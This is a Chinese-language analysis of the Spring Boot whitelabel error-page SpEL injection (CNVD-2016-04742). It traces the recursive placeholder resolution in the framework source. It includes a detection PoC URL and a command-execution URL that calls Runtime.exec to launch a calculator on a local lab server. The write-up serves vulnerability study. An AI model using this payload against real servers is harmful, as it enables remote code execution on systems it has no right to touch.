- CNVD-2016-04742
- SPEL注入经典洞,可以通过SpringBoot默认错误页面触发。
-
代码: https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
-
IDEA配置下运行环境(SpringBoot),maven重新加载下程序。
SpringBoot框架影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0
- 检测PoC:
http://localhost:9091/article?id=${9*9}
- 命令执行EXP:
http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
Controller逻辑代码如下,当传入的参数id不是int型强制转换时候报错,会将参数传递给error页面,参数中会检测是否存在${},递归解析SPEL,进而触发漏洞。
@RestController
@EnableAutoConfiguration
public class Article {
@RequestMapping("/article")
public String hello(String id){
int total = 100;
String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
return message;
}
}
我们使用- 命令执行EXP:
http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
进行调试,通过弹计算机方便定位触发点。
Spring框架中org.springframework.web.servlet.DispatcherServlet
调度Servlet的执行。当请求发送过来会
第一次doDispatch(),进而抛出异常,这不是关注重点,调试可以省略。
调度处理函数:
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
try {
ModelAndView mv = null;
Exception dispatchException = null;
try {
processedRequest = this.checkMultipart(request);
...
//处理request报错,抛出异常
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
...
} catch (Exception var19) {
//最里层的try,设置异常类型,不return
dispatchException = var19;
}
//处理请求结果,dispatchException如果不为null接着抛出异常
this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
catch (Exception var20) {
//进入第二层异常处理
}
catch (Error var21) {
this.triggerAfterCompletionWithError(processedRequest, response, mappedHandler, var21);
}
第二次调用doDispatch(),报错界面view处理,没有抛异常,正常走processDispatchResult()
。
进而调用链是
org.springframework.web.servlet.DispatcherServlet.render()
-->
org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration.render()
,主要是用来渲染报错页面的,
因为,poc中int型转换报错,会把字符串信息也一并出入message标量中。
message参数为:
message -> For input string: "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}"
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (response.getContentType() == null) {
response.setContentType(this.getContentType());
}
Map<String, Object> map = new HashMap(model);
map.put("path", request.getContextPath());
this.context.setRootObject(map);
//替换占位符${},后续触发spel解析
String result = this.helper.replacePlaceholders(this.template, this.resolver);
response.getWriter().append(result);
}
问题在于org.springframework.util.PropertyPlaceholderHelperparseStringValue()
,对于传入的模板字符会检测占位符(${}
),进而通过spel解析,但是它会递归解析这个过程。
函数如下:
protected String parseStringValue(String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
StringBuilder result = new StringBuilder(strVal);
//`placeholderPrefix = "${"`
int startIndex = strVal.indexOf(this.placeholderPrefix);
while(startIndex != -1) {
//找}闭合字符
int endIndex = this.findPlaceholderEndIndex(result, startIndex);
//存在${}进入分支
if (endIndex != -1) {
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
String originalPlaceholder = placeholder;
if (!visitedPlaceholders.add(placeholder)) {
throw new IllegalArgumentException("Circular placeholder reference '" + placeholder + "' in property definitions");
}
//递归,返回字符串
placeholder = this.parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
//通过spel获取值
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
if (propVal != null) {
//递归,通过上一个spel获取的值,通过递归再走一遍,也就是说如果值中存在${}占位符,依旧可以通过spel执行
propVal = this.parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
if (logger.isTraceEnabled()) {
logger.trace("Resolved placeholder '" + placeholder + "'");
...
传入的参数strVal如下,是报错页面的模板。
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id='created'>${timestamp}</div>
<div>There was an unexpected error (type=${error}, status=${status}).</div>
<div>${message}</div>
</body>
</html>
解析器对象placeholderResolver,主要存页面渲染的参数值。
exception=java.lang.NumberFormatException,
path=,
error=Internal Server Error,
message=For input string: "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}",
timestamp=Thu Dec 14 12:41:59 CST 2023,
status=500
看函数代码,首先在模板中寻找第一个${},一直递归找不到位置。
我们拿最后一个${message}为例。
- 通过前面定位到${,取出${}中的值是message,然后递归解析message,不存在嵌套则返回message。
- 随后通过
placeholderResolver.resolvePlaceholder(placeholder)
进行spel解析,通过上下文寻找message对应的value值取出。 - 接着递归,会再次寻找占位符,进而触发spel解析,造成漏洞执行。
spel解析点
org.springframework.util.PropertyPlaceholderHelper.resolvePlaceholder()
public String resolvePlaceholder(String name) {
Expression expression = this.parser.parseExpression(name);
try {
//spel执行点
Object value = expression.getValue(this.context);
return HtmlUtils.htmlEscape(value == null ? null : value.toString());
} catch (Exception var4) {
return null;
}
}